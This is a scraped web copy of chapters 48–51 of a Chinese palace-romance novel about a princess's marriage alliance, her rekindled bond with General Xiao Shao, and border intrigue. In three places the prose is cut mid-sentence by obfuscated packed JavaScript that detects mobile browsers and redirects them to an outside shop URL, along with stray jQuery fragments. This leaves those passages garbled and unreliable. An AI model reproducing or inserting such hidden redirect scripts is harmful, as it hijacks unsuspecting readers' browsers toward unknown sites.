虞帝无奈摇头:“若朕只是寻常人家的父亲,岂会不想要央儿留在身边,可她到底肩负着责任,关乎的是两国之间的盟约。” “臣看三殿下的态度,不像想要回到南江的模样,如今日日翘首盼望,只等圣裁下诏。陛下是英明之君,总会做出正确的决断。” 苏昀拱手:“宁为父绝君,不为君绝父,倘若换作父亲对子女,应当也是如此。陛下为君,但亦为殿下之父。” 他越说越出格,已经超出天子近臣的本分,竟不知不觉有了明显的态度倾向。太常脸色微变,低声制止道:“苏昀!” 苏昀自然知道自己话中不妥,顶着压力俯首:“微臣僭越,请陛下恕罪。” 虞帝兴致缺缺,不见怪罪之意,反而若有所思,须臾后又问:“赵卿,你觉得呢?” 太常被点到,恭敬答道:“回陛下的话,如今天下局势扑朔,当为大局着想。三公主本就已经嫁作南江妇,现在战乱结束,适时回归夫家也是合情合理。” “但我们已经与梨花寨订立了盟约,倘若与南江重修旧好,该如何向那黎娘子交代?” 太常道:“臣以为,梨花寨只是一介小小匪寨,终究不会长久,南江与西戎才是我大齐最该重视的对象。当下西戎盘踞西部虎视眈眈,若大齐贸然与南江生隙,一旦产生裂口,西戎未尝不会效仿当年的南江,再现趁火打劫的不义之举啊。” 过了将近一盏茶的功夫,虞帝才疲惫地叹了口气:“你说得也有道理。” 他揉揉眉心,道:“罢了。朕记得私库里有几套上好的翡翠珍珠头面,央儿最喜欢这些。谨之你去取来,亲自到她府上送一趟。” 分明是赏赐,苏昀心中却无端一沉。但他已经不能再问,只有不动声色领命,随太常退下。 “苏博士,这边请。” 跟着钱顺海从帝王私库取出拿给公主府的赏赐,苏昀欲出宫,这时迎面走来一个面容冷峻的高大男子,武将装束腰间佩剑,正是萧绍。 48. 心牢 在别人眼里,萧绍和苏昀一武将一文臣,同是天子身边的红人,但他们并无私交,甚至极少同时出现在一处,今日却是狭路相逢了。 自上次萧绍被贬官收权后,他与苏昀的品级爵位基本相当。两人中间隔着三步远的距离,互相微一颔首,这次,一向寡言少语的萧绍却先行开口了。 “南江的文书刚刚送达天听,苏博士蒙陛下信任,想必应该已经知道了。” 虽然没有看文书中的具体内容,但苏昀心思通透,能从圣上的问话中想到七八分,同时也知道如此好猜测的东西,萧绍一定也心知肚明。 “萧将军想说什么?”苏昀道。 他开门见山,萧绍也不是拐弯抹角的人,向前走近一步:“昔日苏博士与三殿下有交情,这次若能助她一臂之力自是再好不过,但我要提醒你一句,别忘了你身后代表的苏家世代清流,倘若被有心之人抓住机会借题发挥,只会让她陷入更加不利的境地。” 苏昀听后不禁暗叹,萧氏子弟皆非只知舞刀弄枪的莽夫,心思城府也是半分不少的。这一番话说得十分有深意,甚至成功提醒了他,让他蓦地想到家族与此次事件的暗中联系,无疑是牵一发而动全身的惊险局势。自前朝起,苏家便以清流形象示人,从不卷进朝堂党派纷争,也正是因此得到天子的宠信,虞静央身为公主,实际代表着晋王和姜家一派,他在陛下面前为她说话,即使时刻拿捏着度,但若被不怀好意之人刻意放大或进谗言,使陛下认为苏家站队晋王继而产生猜忌之心,恐怕不仅不能助虞静央一臂之力,还会适得其反。 这是萧绍话语中最主要的一点,除此之外还有另一处,是苏昀最先敏锐察觉到的——萧绍,在向他宣示主权。 苏昀不卑不亢,唇边露出淡笑:“多谢提醒。不过敢问萧将军,你现在是在以什么样的身份对我说出的这番话?” 对面萧绍的脸色顿时一沉。苏昀毫不在意,言语温润里含着机锋:“三殿下远嫁他国,若能如愿同南江王储和离,就是抛却负担的自由之身,诚然与萧将军曾有过一段少年情分,但也是过去的事了。方才萧将军嘲我不知分寸罔顾家族,却忘了自己说的话亦是超出本分,与苏某所做的‘越界’之举又有何差别呢?” 苏昀的话可谓是正中要害,听在萧绍耳朵里分外刺耳。偏偏他所说既无逾矩亦无错谬,乃是真切的大实话,说白了对现在的虞静央而言,自己和苏昀的身份并无不同,都是毫不相干的“外男”。 两人隔着距离对视,只短短几息就拆擦出了硝烟。萧绍向他逼近两步,眸色微寒:“过去还是不过去,是我和她的事。” 话中意味昭然若揭,苏昀缓缓一笑,回道:“苏某拭目以待。” 苏昀身后跟着御前侍奉的小黄门,还有捧着各式赏赐的宫女,看来正是要去公主府。想到他又要和虞静央见面,萧绍眸子愈发黑沉,心中的焦躁莫名更甚了。 萧绍忍着郁气,反把唇一勾:“苏博士得陛下器重,还是抓紧时间把赏赐送到,也好早些回来复命。” “自当如此。”苏昀面色如旧。 烈阳如火,两人视线在空中交错开来,一个迈步上台阶,一个徐徐向下走,逐渐越行越远。 …… 殿外说话的功夫,虞帝已经放下南江送来的那份文书,批起了其他的奏疏。见萧绍走进内殿,虞帝瞧他一眼,饶有兴趣地问:“和谨之吵完了?” 两人处在乾安宫地界,打了个照面又交谈许久,自然逃不过皇帝的法眼。不过方才他们都压着声音,关于具体说了什么话,就不是旁人随意窥探得到的了。 “臣与苏博士只是正常交谈,并无争吵。”萧绍道。 虞帝没有怀疑,像是当真放下了心,随和道:“那就好。你和谨之一文一武,都是朕身边的信任之人,若能投缘交好,那就再好不过了。” 投缘…… 萧绍心中轻嗤,毫不避讳道:“臣与苏博士是因三殿下才结识,平日鲜少往来,不过泛泛之交而已。” “这话说的,要是央儿多在其中牵线搭桥,你们就能熟稔?” 见萧绍不语,虞帝低头看奏折,自顾自笑道:“其实从央儿回来的时候,朕就担心你心思未了,直到听说你用‘已有家室’向她扯谎才让朕真的确认,你对她当真已经无意。” 面对天子的打趣,萧绍却没有半点玩笑的反应,仿佛含着心事一般。虞帝有所觉,笑意渐渐淡下去,看过来的眸光微深:“继淮,你该不会旧情未死吧?” 旧情未死? 萧绍静静抬起眼,其实,现在他也不知自己究竟怀着什么样的念头了。曾经的自我告诫和警告好像禁锢心神的监牢,锁上一千次,却又被亲手破开了一万次。 “如果臣说是,陛下会不会允准?” 他鬼使神差问。 …… 没人知道皇帝是怎样回答的,用过晚膳,萧绍如常出宫,却没有像往常一样回自己的府邸,而是沿着道路一转,踏进了公主府的大门。 房门打开,虞静央吓了一跳,下意识把手里的东西向身后藏,看清来者是谁后一愣。 “你……你怎么来了?” 萧绍想要回答,才后知后觉发现自己似乎没有一个说得过去的理由,这般贸然前来就是唐突了。 毕竟他和苏昀一样,只是个“外男”。 思及此,萧绍焦躁地摩挲了一下手指,道:“近日玉京酷热,你又容易中暑,陛下放不下心,就让我来看看。” “哦。”虞静央干巴巴应了一声,心里却在疑惑。父皇担心,午后的时候不是已经让苏昀来看过她了吗? “……”或许也意识到自己的理由存在漏洞,萧绍轻咳一声,却也想不出什么找补的话了。毕竟说出去的话泼出去的水,他撒了一个谎,再撒第二个不会起到解释的作用,只会越描越黑。 他立在原地,十分刻意地望了一眼镜屏后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13289542|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放着的冰盆:“这冰已经够多了,只供你一人用,应该就不会热。” “嗯,府上很凉爽,不缺冰的。”不知他还要说什么,虞静央也顺着话茬点头。 天色擦黑,府中一片寂静,晚棠最识眼色,早就悄悄退了下去。房中仅剩他们二人,虞静央抿唇,正想招待萧绍坐下说话,他却已经朝她走了过来。 单独相对,萧绍原本还有些局促,但一想到昔日有很多这样的时候,那阵不自在的感觉便渐渐消退下去。 房中很安静,他的心也随之静了下来,一步一步到她面前,看见她手指捏着袖口,长睫不安地掩住那双灵动的眼睛。 她似乎再也回不到过去那种张扬活泼的模样,但无论如何,她都还是她。 上次见面还在晋王府发生了争执,几乎是不欢而散,萧绍倒是不记仇。虞静央觉得他的态度转变得有点突然,不知受了什么刺激,但此时她也无暇深思,主动避开了他的视线,从一旁的柜子里拿出了那只纸鸢。 “多谢你替我把纸鸢修好。”虞静央道。 那天风筝被树枝刮破,已经没了修补好的希望,她吩咐下人扔掉,被萧绍拦了下来。她以为他是故意找她的麻烦,毕竟后面发生的口角也确实十分不愉快,却没想到过了两日再去晋王府的时候,乐安高兴地把纸鸢重新拿到了她眼前。 修补得像新的一样,没有一点裂痕,偏偏上面画着的样式没变,还是那只有点丑的金腰燕。 虞静央惊奇不已,一边因旧物失而复得而喜悦,一边好奇是什么能人的手艺如此巧夺天工。谁知乐安摇了摇头,颇为骄傲地说:“才不是什么能工巧匠呢,这是萧叔父修好的!” 萧绍哪里有这种精细活的功夫? 虞静央愣住,回过神后想明白什么,又去原来破口的地方细细观察,当真看不出任何曾经破损过的痕迹。她转而去看其他细节,最后才在燕子的尾部发现了一些和原本不同的地方,再端详粘浆糊的缝隙,也比从前那个精致了一些。 这不是他修的,而是他仿照着原模原样画了一幅样式,重新粘在了风筝骨架上。 窗缝进来的微风带着潮气,吹乱了虞静央的几缕鬓发。她手里拿着纸鸢,此时白皙的脸颊上浮着淡淡的红,也不抬头看他,可见道谢没有诚意。 “我不是替你修的。” 那个“替”字被咬得尤其重,萧绍绷着道:“就算坏了,你也不能说扔就扔,它不光是你一个人的。” 确实如果当初没有他的帮忙,她画不出这样一只完整的燕子,可他…… 虞静央抬头:“你的意思是,它是属于我们两个的东西?” “……总之现在是我画的。”萧绍立刻移开眼。 像是看出了他的不自然,虞静央识趣地不再追问下去,把纸鸢收回原处,翠色流苏在她鬓边流光溢彩,随动作一步一晃。 萧绍很快注意到她的新首饰:“这是今日苏谨之送来的?” 49. 青莲 “嗯?” 半晌,虞静央才意识到他在问步摇,神情阴了又阴,着实不好看。她不禁露出笑来,小声辩解道:“是父皇赏的,苏昀只不过是奉命来送一趟。” 即使知道来自皇宫,萧绍依旧冷冷看了一眼,不屑几乎要溢出来。虞静央秀眉悄悄一挑,问:“你觉得不好看吗?” 她探手摸伸出发髻边的簪头,低垂的眼眸含着复杂的情绪:“像这样上好的翡翠,我也有多年没有见过了。想来父皇定然是做出了什么重大的决定,不然也不会忽然给我这么厚的赏赐。” 南江文书刚到,皇帝就降下极丰厚的御赐,任谁能不暗暗揣测和怀疑?外面已经有了风言风语,也怪不得她不安。 萧绍紧皱着眉头:“事还没有定下,别胡思乱想。” 虞静央却听不进去,忽然上前一步,紧紧抓住他手臂:“如果最后我被送走,你是不是还是会与那个沈娘子成亲?” 萧绍一怔,见她清透的杏眸里蒙着一层水雾。明明已经否认过很多次,她却还在钻牛角尖,也不知是何时养成的这样一副拧巴别扭的性格。 他无可奈何,任她抓着自己:“我再说最后一次,你好好记着。你在意的这两件事,一件都不会发生。” 她声中发涩,追问:“只要我不愿?” “只要你不愿。” 萧绍抽出手帕,塞到她手里:“把泪擦干净。” 如同得到了保证一般,接下来的虞静央冷静了许多,老老实实坐在他旁边,一时间,房中只能听见冰盆里坚冰融化时滴水的轻响。 就这样安静过了一会儿,她才低低开口:“其实,这几日我都挺高兴的。” “因为封地?”萧绍侧头看她。 虞静央承认了。把封地拿在手里,起码可以有几分长久留下的实感,对她来说不仅是安慰,更是傍身的倚靠。 透过窗子,能望见外面池塘里的粼粼水色,还有摇曳生姿的一丈青莲。虞静央缓缓道:“那天我拿到宣城送来的文书,才发觉自己真的已经回到了家,好像又变回了人人喜欢的三公主,而不是无根飘摇的浮萍。” 她目光投向远处,语气十分平静,竟有种孤寂萧索之感。萧绍望着她,道:“不管你嫁给了谁,嫁去了哪里,你也一直都是大齐三公主,不会有任何变化。” “嗯,你说得对。”虞静央笑了笑,没有再争辩什么,也不知到底有没有听进心里。 这种怎样都无所谓的态度让萧绍心里有点不舒服,皱了眉头想说话,虞静央已经把一封硬皮文册拿了过来。 她脸上浮起窘色,解释道:“你知道的,我对这些事一窍不通……幸好你来了,不然我都不知该找谁。” 看着手里的厚厚一本,原来是宣城发来的文书,萧绍一时无言。可不是么,从前她就不喜欢看这些和政治沾边的东西,整日也无心学,只在学堂里清谈论事时格外积极,每逢封地文书发回来,自己不想费心便找兄长、找姑母,偶尔也会感到不好意思,于是就来偷偷摸摸拜托他。 “阿绍阿绍,你最好啦……”彼时少女双手合十,看似可怜实则透着狡黠,明明和此时眼前的神情不同,却又不偏不倚地重合到了一起。 “……”她鬓边的翠色流穗在余光里轻晃,萧绍叹了口气,认命地打开文书。 虞静央松了口气,不禁露出笑来,连忙到另一边为他添了盏灯。趁着萧绍看的功夫,她围着桌案闲转:“前几日我自己看过一遍,虽然看不出什么别的,但米粮的存量比从前少了许多,我猜定是因为宣城百姓人数增长,安居乐业。” 她自顾自说着,因所说之事而心情颇佳,萧绍的眉头却无声皱了起来。他当然也注意到了粮食储量,看似没有异常,实际与宣城的人口数量并不匹配,再看铁器硝石,用量涨幅虽不多,暴露的问题却很明显。 宣城没有军营驻扎,按理来说,有关军兵的用度不该如此之高。 萧绍熟知军务,对这些数据了如指掌,一眼就看出了不对。他敛眸沉思所有可能发生的状况,某一刻,一个大胆的念头进入脑海,让他的心中骤然掀起惊涛骇浪。 他的神情隐约不大对,虞静央见状也开始不安,收起轻松道:“怎么了?难道……有问题?” 实情还没确定,萧绍不打算把自己的猜测说出来平白让她忧虑,合上文书交回给她,说道:“没什么。宣城地属靖州,一无灾荒二无战乱,看文书中呈报回来的各项事务,应该很安稳。” “那就好。”虞静央听了很高兴。 一片乌云悄然掩住了月色,今晚又将是一个雨夜。晚风吹得大了起来,把池塘里亭亭的青莲吹得摇晃。 “才开不久的荷花,怕是明日就要败了。”虞静央立在窗前遥望,方才的喜悦又蒙上惆怅。 “还会再开的。”萧绍走到她身边:“这池荷花不动,以后每一年的夏天,你都能看到。” 每一年…… 虞静央在心里默念这三个字,不由笑了。是啊,她要的不止这一天,以后的岁岁年年,她都要站在这里赏花。 风声更大了,过不了多久就要下雨。虞静央没多想,道:“雨就要下大了,你现在不走,过会儿怕是要被淋湿。” 就这么被下了逐客令,萧绍却没动,抱臂定定看着她:“用完了就赶人走?” 虞静央愣了愣,俄顷反应过来他的意思,的确是刚让他看过文书。 她微窘地偏过头,一边在心里抱怨。明明他们上次见面是不欢而散的,时间还没过去几天,他却费心费力地主动帮她修好了风筝,今日又不请自来,态度转变得实在令人摸不着头脑。现在又这副姿态,看上去一本正经,说出的话语又那么……引人误会。 “你……你若不想走,一会儿被淋就是。”虞静央忽略自己微烫的脸颊,留下这么一句, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13317856|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兀自走到书桌前收拾东西。 萧绍本就不是个有观雨、赏花此等雅致的人,见她一走也不在窗边多留,落后几步慢悠悠跟在后面,什么都不干,却是赖着不走。 虞静央暗暗嘀咕,也不理会他,先把封地文书收好,神游天外时手上先一步打开了抽屉,当瞧见里面一角青蓝织锦木盒时,她陡然一惊,带着几分慌乱想重新合上,这时目光外却伸出了一只手,卡住了将要合起的抽屉。 萧绍当然认识这个盒子,这本就是他的东西。以前虞静央拿走他的玉佩,还叮嘱他派人专程来送一个上好的锦盒,别人是买椟还珠,她是既“抢椟”,又“夺珠”。 许是虞静央自知理亏,阻止的力道都变得很小,眼睁睁看着盒子被拿了出来。萧绍打开,果然见里面安然躺着一块玉佩。 蓝白玉的材质,碎裂后又被粘好,中间一个古体的“绍”字。是之前被拿走那块,也是在边境军营时,从她袖中掉出来的那块。 再见到这块玉佩,萧绍已不像在军营时那样气愤失控,摩挲着上面的裂纹,反而多了平和安定的情绪。但他久久不说话,让虞静央的心中的忧虑不减反增。 半晌,萧绍的视线终于从玉佩表面离开,落回到面前女子的眉眼。 “都碎成这样了,还是扔了吧。”他道。 说罢,他作势要放下手,虞静央急了,立刻把分寸礼数忘到了脑后,直接上前一步从他手里抢了回来,连盒子全都藏到背后。 “我不会给你的。” 虞静央不肯,一脸戒备地看着他,好像防贼一样。萧绍失语片刻,试图跟她讲理:“什么叫‘给’?这本来就是我的玉佩。” 她半步都不肯让,不服气道:“可是是我粘好的,就像风筝一样。谁修好,就算有谁的一半。” “……” 一双灵气的杏眼水灵灵地瞪着人,倒是有几分从前的刁蛮模样。萧绍见状还笑了一下,不知是气笑的还是如何,反正是好整以暇不见急躁。 那只风筝,他补好就托乐安还给了她,可现在呢?他的玉佩被拿着不还就算了,对方还这么理直气壮,着实气人。 总之,不能让她就这么逃了过去。 萧绍从容不迫地摊开手,伸到她面前:“不还?那给我一块你的。” 虞静央盯着他的手掌看了半天,眼露茫然。萧绍保持着摊开手的姿势,道:“你知道这块玉佩很贵重,满玉京找不出第二块,你不还给我,起码要拿出一件别的东西交换吧?别拿便宜的小玩意儿糊弄,我要价值相当的。” 虞静央明白过来,皱着鼻子据理力争:“当时是你先问我要了一条手帕,我才拿的玉佩……” 萧绍当然记得那条手帕,凌霄花配蝴蝶样式的。 他敛下心思,徐徐道:“手帕是丝绢做的,玉佩是玉做的,前者只能用几个月,后者却可以存留千百年。你就这么打发我?” 50. 牌局 可那是她亲手绣的! 虞静央气闷不已,转念一想又不得不承认,一条手帕有什么值钱的。被人当作宝贝时是因为珍惜里面含着的心意,如若情分没了,可不就变成了一团废布。 须臾过后,她算是想通了,不情不愿地屈服:“我不常戴玉佩,你若想要价值对等的东西,就去我的妆奁找。” “好啊。”萧绍不客气,听后从善如流,当真抬步去了她的妆台前。 虞静央贵为公主,私藏的妆奁里自然有不少好东西,今日圣上御赐的翡翠头面也摆在旁边。萧绍欣赏了一会儿,琳琅满目的红玉珠翠却一件都没瞧上。他静立一息,目光转到身边虞静央的发髻上,锁定在一处。 下一瞬,他直接伸出手,趁虞静央没有防备摘了下来——一朵嵌宝碧玉珠花。 虞静央怎会想到满桌的首饰他都看不上眼,偏偏选了她头上的,于是急了:“这是我最喜欢的——” “要是不喜欢,怎么让你时时念着?” 萧绍轻而易举躲开了她想抢的动作,举高让她拿不到。这番举动不像平时那个冷峻威严的将军,即使神色再正经,那也是街头纨绔的放肆做派。 虞静央够不着,一边气急败坏,一边更感到怪异。她心里疑惑,索性也不藏着:“你今日很奇怪。” “哪里奇怪?” “你说的话。你总说这些奇怪的话,会让人觉得……” 虞静央一时语塞,重新接上话时声音明显变小了:“会让人觉得,你之前那些撇清关系的话都是假的。” 雨点打在屋檐上,发出淅淅沥沥的响声。萧绍回道:“我说过的所有话,在我说的时候都是真的。” 但只是说的时候。在这之前,他从不知道自己是个善变的人,所谓君子一言驷马难追,在他这里也通通不起效了。 一抹微愣划过虞静央眼底,她抬起头,好像抓住了他话中的那点深意,又担心是自己多想。萧绍的目光不躲不闪,就那样直视着她,旧事重提。 他握住她双肩,呼吸渐渐急促起来:“从前的事,你们都藏着掖着不肯说,我虽猜不出是什么具体的,但心里也大概有了数,非是你们不愿说,恐怕是不能说。既然不能说,那就是被迫的,五年前你对我说的那些伤人的话,是真心的,还是为了让我彻底死心故意下的一剂猛药?……别的我都不问,只问这一件,你现在就告诉我,看着我的眼睛,告诉我。” 虞静央没有料到他会突然追寻往事,被弄得慌乱不已,心神大乱的同时低头躲避他灼热的视线。萧绍望了许久,直到倾盆的雨声强势地闯入耳畔,忽然笑了。 “虞静央……你就是个骗子。” 萧绍颓然扶住桌角,气血上涌,从自己的舌根尝到一点隐隐约约的腥甜。 他从小就喜欢她,从对玩伴的喜欢上升为对心上人的爱慕,他自然又随性地用去了十九年的时间,后来由爱变成恨,又生生耗去五年。而现在,就当他挣扎在情与怨的界线之间,努力想要将一切都结束的时候,不死心地回头一望,耳畔却恰好传来一道声音,告诉他:那年你不愿追忆的过去,亦不是她希望看到的结局。 他该高兴还是气愤?不知道,但他是个认死理的人,不愿稀里糊涂地过这一生。 “很久之前我就清楚,你这个人看似单纯,实际心里有一杆秤,什么都懂。正是因为熟知你的脾性,才更让我确定了自己心里的种种猜测。” 斜飞的雨丝击打着门框,水汽扑面而来,萧绍看都没看,手一压关紧窗缝。 房中安静了。他步步上前,抬起手,却又在即将触碰到她脸颊的时候停了下来,隔着不到一指的两层距离——一层是“男女大防”,一层是“他人之妻”。 来自指腹的炙热温度透过空气传达给皮肤,虞静央的脸“腾”地一下烧了起来。萧绍的手始终没有放下,保持着姿势和距离,像从前那样轻柔“摩挲”她细瓷般的面颊,神情专注。 他的声音低低响起:“我已经变成了一个赌徒,筹码全在你手里。但不管你答不答应,我都会加入这场牌局。” --- 边疆,梨花寨。 月上树梢,高而坚固的围墙外一片静谧,哨台上悄然点起几盏烛灯。远处突然爆发出一连串的巨响,群鸟惊飞,下一刻,刺目连片的红光从另一侧山头后显现,烟雾窜上深空。 放哨的手下得到信号归来,急急登上楼梯,跪地向女子禀报:“大当家,西戎动手了!” 黎娘子站在最高处,将外面火光冲天的景色一览无余,远远能望见正起冲突的两方人墙。 西戎军如期而至,南江商贸中最重要的运输水路谯河,就这么被炸毁了。 她不意外,下令道:“知道了。告诉下面的人继续按兵不动,守好自家家门即可。” “是!” 早在把南江商路图交给阿穆苏的时候,黎娘子就知道一定有这么一天,并且在这之前已经开始向南部诸国施压,堵死了南江合纵联横再结外盟的机会。南江骑虎难下,被迫继续与西戎交恶,国内资源愈耗愈多,这时恰逢郁沧出使中原,他们别无选择,会更加重视与大齐维持良好关系。 南江人越离不开大齐,就越不能得罪虞静央。灭了他们的嚣张气焰,大齐朝廷没有压力,相信婚盟的解除会更容易。 手下退下后,黎娘子独自远眺,身后传来不加遮掩的脚步声。她面上不见任何惊诧,扬声道:“你还真是心大,这么关键的时候也能离开前线。” “炸一条河道而已,他们应付得来。” 阿穆苏的身形从黑暗中显现,从容走到她身侧,玩笑道:“要是办不成,我不还可以求你的人帮忙?” “你觉得我会帮你?” “无妨,全看大当家的心情。” 黎娘子轻笑,转身懒懒倚在栏杆前,面对着他。阿穆苏仍是一身西戎便装,肩头腰间挂着几条繁复的珠饰,全然看不出一国可汗的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13333833|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 威严,唯有手臂上虬结有力的肌肉能让人窥见几分虎狼般的强悍。 “为什么选现在?”黎娘子问:“西戎刚刚大战过,左贤王对你虎视眈眈,这个时候对南江动手,于你并不是最有利的。” 旁逸斜出的花枝轻轻摇晃,阿穆苏随手摘下一朵,道:“我们都不喜南江,做一件能让你我真心一笑的事,怎么不算获利?我觉得很值。” “我喜欢这个理由。”黎娘子勾起唇角。 寨门外人头涌动,拉着一辆一辆马车,是从云岭开采的第一批矿石到了,用不了多久,梨花寨就能真正实现炼铜、冶铁自主,甚至想铸自己的钱币也可以做到。 黎娘子欣然望着下面忙碌的手下,道:“这次多谢西戎为梨花寨让利,你想要什么回礼?” “你每天都高兴,就是对我的回礼。” “别开玩笑了,严肃点。”黎娘子没放在心上。 阿穆苏望她许久,突然说道:“不论我想要什么,大当家都能给?” 他目光灼灼,把手中娇艳欲滴的花送到她面前。 …… 气氛变得微妙起来。异样的沉默里,黎娘子没有接过那朵花,缓缓道:“你若执意要让我感受亏欠的滋味,我就只有退回那些矿石了。” 阿穆苏想要的那样东西,他没说,她却猜到了。但不论是现在还是将来,她都给不了他。 说罢,黎娘子作势要下楼去吩咐,阿穆苏连忙上前拦住她,又变回了平常散漫轻佻的状态,仿佛刚才的认真都是装的。 “不给就不给,怎么就要走了?就算真的拿到了你的寨主印玺,我也不能服众啊。” 黎娘子停下脚步,不由失笑。他果然是有备而来,在试探的话语出口的那一刻,前路后路就都想好了。 一只狡猾又足够强大的狐狸,是从来不会让自己身陷囹圄的。 “好吧。”黎娘子耸耸肩,也不再指望阿穆苏能给她一个有用的回复,而是自顾自拍板,为他选定了一份谢礼:“梨花寨与车兰素有交情,明日午时之前,我会派人把给国君的书信送到西戎王宫。” 阿穆苏短暂一怔,旋即翘起唇:“那就多谢大当家牵线了。” 车兰国是南部小国里较为强大的一个,其盛产的糖料是西戎国境内十分紧缺的资源。他一直想与车兰相商达成合作,但苦于找不到机会,现在有梨花寨从中搭桥斡旋,这场商谈势必会容易许多。 远处,轰轰烈烈的爆破声逐渐归于平静,昭示着一场军事行动的顺利结束。两人心照不宣地忽略了方才的尴尬,黎娘子露出个漫不经心的笑,主动探他手。 在阿穆苏若无其事垂下的右手里,还藏着一朵已经被捏得有点蔫巴的桔梗花。柔美的蓝色花瓣微微蜷曲着,她不见嫌弃,拿到后端详几眼,戴在了自己发间。 “我素爱簪花,劳可汗为我摘下一朵了。” 她全当没看见阿穆苏亮起来的眸子,放松地轻笑一声,转身离开。 51. 新衣 今年的外事司格外忙碌,黎娘子一行人才离开不久,南江使团又即将接踵而至。大齐朝廷筹备之余,也对各地事务愈发上心,以期风调雨顺四方安定,才能不让外人看了笑话。毕竟,像当时吴州被黎娘子提起的那种事有损国家颜面,绝不能再出现第二次了。 近日虞静延奉命出京处理要事,结束后踏上返程,一路紧赶慢赶,回来时比预期早了半天。时值午后,恰好是乐安午睡的时间,他回到府中,果真没见到那个活蹦乱跳的小身影。 暑天难熬,他没让惊动任何人,放轻脚步先去了书房,给手下幕僚交代要事。忙完后,张栩也从外面回来了,禀报道:“殿下,小郡主这几日一直在祝府小住。” 原来不是在午睡,是去祝家玩了。虞静延点了点头,问:“王妃呢?” 张栩不知为何语塞,面露难色。虞静延缓缓皱起眉,声音微沉:“出了什么事?” 张栩犹豫再三,如实道:“正院的下人屏退四散,奴才本以为王妃在歇息,就没有惊扰,临离开时却见初桃带着个女郎中悄悄进了卧房。奴才仔细一看,发现是,是……” 在听到“女郎中”几个字眼时,虞静延心里就有了揣测,冷着面色:“说下去。” 张栩头更低:“是先前被殿下赶走过一次的胡蝉。” 当真印证了自己的猜测,虞静延不敢置信,眸中染上愠怒,下一刻站起身,大步向正院走去。 …… 偌大的正院侍从寥寥,见虞静延前来,负责守门的几个侍女面露惊慌,想要上前阻拦,又被张栩一个眼神震了回去,唯有跪在地上噤若寒蝉。 虞静延看都没看她们一眼,推开房门大步流星走了进去,透过屏风,女子匆匆从榻上起来,隐约能看见慌忙拢衣襟的动作。 “把门关上。”虞静延高声一喝,前脚就要迈进门的张栩差点绊倒,旋即动作比意识快,立马后退一步带上了房门。 嘈杂被隔绝在外,虞静延绕过屏风,祝回雪离开床榻蹲身行礼,在她身后跟着初桃,还有那个名叫胡蝉的女郎中。 “殿下回来得早,怎么不派人来传个信儿,妾身也好早去迎接。” 祝回雪忍着忐忑,若无其事地挤出个笑。虞静延的脸色却依旧很差,根本无心与她假意寒暄,扫了一眼胡蝉:“这是在做什么?” 晋王一向以果断严苛的铁腕手段为人称道,胡蝉只是个江湖骗子,自然难以摆脱对皇室的惧怕,何况上一次,她已经被很不客气的对待过了。 她伏地答话:“回殿下的话,妾身为王妃调理身体。” “我的王妃是得了什么疑难病症,连宫中御医都奈何不了,非要找胡夫人。”虞静延冷冷道。 对于这个胡蝉的底细,他很早之前就调查过。一个从塞外来的行脚郎中,名为“郎中”,实际上只有一点三脚猫的医术,靠着招摇撞骗的功夫在玉京贵妇圈中得了脸,自此名声大噪,又号称妇科圣手,自创的偏方可助妇人有孕,更能一举得男。 祝家的主母是祝回雪的嫡母,着了这骗局的道,前几年不顾祝回雪的意愿把人引荐到晋王府,来时他正在主院,听说后直接将人赶出了府门,半分颜面没有留。祝回雪受他帮忙解了围,当时明明欣喜又感激,明显也是不相信这种虚假唬人的东西的。 胡蝉像是没听出虞静延话中的冷意,面露谄媚:“殿下有所不知,皇宫中的御医医术高超,却不熟悉女子身体里的关窍,妾身帮王妃补气驱寒,养好了身子,想要诞下一位聪慧健壮的小世子就是轻而易举的事。” 像晋王这种天潢贵胄,政绩出色,又在民间声望颇高,恐怕比晋王妃还要在意子嗣大事。这次是晋王妃主动邀约她前来,不会不事先考虑晋王的反应,晋王想要子嗣,就算仅抱着试一试的态度,也应该给她三分薄面。 正在胡蝉暗暗放松的时候,虞静延没有理会她的话,而是径直走到床榻前。烛火静静燃着,床头矮几上放着一碗黑黢黢的汤药,旁边整齐地摆着一排银针,每根都足有六七寸长,远非寻常针灸能用上的尺寸,针尖散放着骇人的寒光。 “这就是你说的‘养身子’,用这些银针?”虞静延勃然大怒,周身气势吓得众人一抖,跪在地上大气不敢出。胡蝉还想狡辩:“殿下,王妃体寒,若想一举得男,必须以针刺之法放出寒气,辅以每日一碗汤药符水,才能——” 虞静延一个字都不想再听,厉声喝道:“张栩!” 